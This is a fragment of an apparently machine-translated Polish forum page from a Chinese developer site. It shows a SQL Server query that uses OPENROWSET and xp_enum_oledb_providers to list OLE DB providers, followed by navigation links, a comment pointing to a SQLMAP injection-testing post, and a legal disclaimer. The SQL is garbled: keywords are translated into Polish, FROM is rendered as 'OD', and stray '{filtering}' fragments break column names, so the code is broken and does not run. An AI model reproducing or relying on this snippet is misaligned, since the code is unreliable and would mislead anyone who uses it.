CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
OD

OPENROWSET(
'SQLOLEDB',
'Serwer=.; Trusted_Connection=tak',
'STARTUJ FMTonly;
EXEC

Mistrzu... xp_enum_oledb_providers'
)




Poprzedni:Proces obsługi podatności UCloud i szczegóły dotyczące nagród
Następny:Dziś mogę zdążyć na pociąg do domu, a nie byłem w domu od ponad pół roku
Opublikowano 27.09.2017 17:43:11 |
Bardzo szczegółowe, dzięki
 Ziemianin| Opublikowano 17.06.2023 11:12:11 |
Testuj iniekcje SQL za pomocą narzędzia infiltracyjnego SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Zrzeczenie się:
Całe oprogramowanie, materiały programistyczne lub artykuły publikowane przez Code Farmer Network służą wyłącznie celom edukacyjnym i badawczym; Powyższe treści nie mogą być wykorzystywane do celów komercyjnych ani nielegalnych, w przeciwnym razie użytkownicy ponoszą wszelkie konsekwencje. Informacje na tej stronie pochodzą z Internetu, a spory dotyczące praw autorskich nie mają z nią nic wspólnego. Musisz całkowicie usunąć powyższą zawartość z komputera w ciągu 24 godzin od pobrania. Jeśli spodoba Ci się program, wspieraj oryginalne oprogramowanie, kup rejestrację i korzystaj z lepszych, autentycznych usług. W przypadku naruszenia praw prosimy o kontakt mailowy.

Mail To:help@itsvse.com